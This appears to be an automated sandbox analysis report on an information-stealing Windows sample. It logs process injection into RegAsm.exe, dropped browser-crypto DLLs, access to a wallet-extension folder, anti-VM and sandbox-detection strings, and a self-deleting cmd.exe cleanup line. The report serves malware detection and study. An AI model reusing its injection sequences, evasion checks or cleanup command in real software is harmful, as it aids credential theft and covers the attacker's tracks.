Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.3.dr, freebl3.dll.3.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.3.dr, softokn3.dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.3.dr, vcruntime140[1].dll.3.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.3.dr, msvcp140.dll.3.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000003.00000002.2047601334.000000006C8FF000.00000002.00000001.01000000.00000007.sdmp, nss3[1].dll.3.dr, nss3.dll.3.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 00000003.00000002.2043950908.0000000019258000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2040755834.00000000132E9000.00000004.00000020.00020000.00000000.sdmp, sqlx[1].dll.3.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.3.dr, softokn3.dll.3.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417645 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00417645

Source: softokn3.dll.3.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.3.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.3.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.3.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.3.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.3.dr	Static PE information: section name: .didat
Source: sqlx[1].dll.3.dr	Static PE information: section name: .00cfg
Source: nss3.dll.3.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.3.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E7534 push ecx; ret	0_2_006E7547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004191D5 push ecx; ret	3_2_004191E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6FB536 push ecx; ret	3_2_6C6FB549

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\mozglue.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\GHIJJEGDBFII\mozglue.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00417645

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 5984, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: RegAsm.exe	Binary or memory string: DIR_WATCH.DLL
Source: RegAsm.exe	Binary or memory string: SBIEDLL.DLL
Source: RegAsm.exe	Binary or memory string: API_LOG.DLL
Source: RegAsm.exe, 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqlx[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\GHIJJEGDBFII\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\GHIJJEGDBFII\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\GHIJJEGDBFII\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 6.2 %

Source: C:\Windows\SysWOW64\timeout.exe TID: 2576

Thread sleep count: 88 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040FCE5 GetKeyboardLayoutList followed by cmp: cmp eax, ebx and CTI: jbe 0040FDF8h

3_2_0040FCE5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F81B2 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_006F81B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401162 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,	3_2_00401162
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004162AF _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	3_2_004162AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004153F6 _EH_prolog,wsprintfA,FindFirstFileA,memset,memset,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,memset,lstrcat,strtok_s,memset,lstrcat,PathMatchSpecA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,strtok_s,FindNextFileA,FindClose,	3_2_004153F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B463 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040B463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004094E5 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_004094E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C679 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	3_2_0040C679
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415AC2 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	3_2_00415AC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409F72 _EH_prolog,FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,	3_2_00409F72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00409900 _EH_prolog,StrCmpCA,FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	3_2_00409900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040A981 _EH_prolog,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	3_2_0040A981
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00415E66 _EH_prolog,GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	3_2_00415E66

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00415843 _EH_prolog,GetLogicalDriveStringsA,memset,GetDriveTypeA,lstrcpy,lstrcpy,lstrcpy,lstrlenA,

3_2_00415843

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0040FE81 GetSystemInfo,wsprintfA,

3_2_0040FE81

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2040315374.0000000003465000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: RegAsm.exe, 00000003.00000002.2039843290.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2039843290.0000000000EE4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API call chain: ExitProcess graph end node

graph_3-95543

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E7B35 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_006E7B35

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_00417645

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F2E07 mov eax, dword ptr fs:[00000030h]	0_2_006F2E07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F0040 mov ecx, dword ptr fs:[00000030h]	0_2_006F0040
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F2E4B mov eax, dword ptr fs:[00000030h]	0_2_006F2E4B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006FB84A GetProcessHeap,

0_2_006FB84A

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E7810 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_006E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E7B35 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006E7B35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006E7C91 SetUnhandledExceptionFilter,	0_2_006E7C91
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006EC606 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_006EC606
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041937F memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041937F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041E438 SetUnhandledExceptionFilter,	3_2_0041E438
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041A8A7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041A8A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6C6FB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C6FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C6FB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6C8AAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6C8AAC62

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6856, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 5984, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_02CD018D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_02CD018D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004111BE _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

3_2_004111BE

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 422000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 641000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BF6008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\GHIJJEGDBFII" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C8F4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

3_2_6C8F4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006E7630 cpuid

0_2_006E7630

Source: C:\Users\user\Desktop\file.exe	Code function: EnumSystemLocalesW,	0_2_006FB00C
Source: C:\Users\user\Desktop\file.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_006FB097
